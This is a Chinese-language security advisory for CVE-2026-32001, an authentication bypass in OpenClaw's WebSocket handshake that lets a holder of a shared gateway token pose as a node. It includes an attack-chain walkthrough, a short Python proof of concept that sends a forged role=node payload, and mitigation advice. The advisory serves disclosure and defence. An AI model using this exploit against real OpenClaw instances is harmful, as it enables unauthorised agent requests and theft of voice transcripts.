IPBUF安全漏洞报告
English
CVE-2026-32001 CVSS 5.4 中危

CVE-2026-32001 OpenClaw认证绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32001
漏洞类型
认证绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

认证绕过OpenClawWebSocket未授权访问

漏洞概述

OpenClaw 2026.2.22之前的版本存在认证绕过漏洞。由于系统对使用共享网关令牌的客户端缺乏设备身份验证,攻击者可在WebSocket握手时冒充node节点。利用此漏洞,攻击者能够注入未授权的node.event调用,非法触发agent.request和voice.transcript流程,绕过正常的设备配对检查。

技术细节

该漏洞的核心在于OpenClaw对WebSocket握手阶段身份验证的逻辑缺陷。在受影响版本中,仅持有共享网关令牌的客户端即可绕过设备身份验证,直接声明role=node。攻击者利用此机制,在建立WebSocket连接时伪造角色信息,使服务器将其识别为合法节点。一旦连接建立,攻击者可发送特制的node.event调用指令。由于系统后续未对node角色的设备配对状态进行二次校验,导致这些未授权的调用被执行,进而触发agent.request和voice.transcript等敏感业务流程。这使得攻击者能够在无物理设备配对的情况下,模拟节点操作,窃取语音转录内容或控制代理请求。

攻击链分析

STEP 1
信息收集
识别使用OpenClaw的目标系统,并获取共享网关令牌。
STEP 2
建立连接
攻击者使用获取的共享网关令牌,发起WebSocket连接请求。
STEP 3
身份伪造
在WebSocket握手或初始通信中,声明角色为'role=node',系统因漏洞未进行设备身份验证而接受该角色。
STEP 4
注入调用
攻击者发送node.event调用,包含agent.request或voice.transcript等指令。
STEP 5
执行未授权操作
服务器处理该调用,触发敏感流程,攻击者成功绕过设备配对限制获取信息或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # Conceptual PoC for CVE-2026-32001 # This script demonstrates how an attacker might claim the 'node' role # using a shared gateway token to inject unauthorized calls. async def exploit_vulnerability(uri, token): # Construct headers with the shared gateway token # Note: The vulnerability bypasses device identity verification extra_headers = { "Authorization": f"Bearer {token}" } try: async with websockets.connect(uri, extra_headers=extra_headers) as websocket: print("[+] Connected to OpenClaw WebSocket") # Attack Vector: Claim role=node during handshake/inital message # In a vulnerable implementation, the server accepts this without # verifying the device identity associated with the token. payload = { "role": "node", "action": "node.event", "params": { "type": "agent.request", # Triggering unauthorized agent request "data": "malicious_payload" } } await websocket.send(str(payload)) print("[+] Payload sent: role=node, node.event injected") response = await websocket.recv() print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with target URI and a valid shared gateway token target_uri = "ws://target-openclaw-instance:8080/ws" shared_token = "YOUR_SHARED_GATEWAY_TOKEN_HERE" asyncio.run(exploit_vulnerability(target_uri, shared_token))

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
建议立即升级至安全版本。如无法升级,应限制共享网关令牌的权限,并在网络层对WebSocket连接进行严格过滤,监控异常的node.event调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表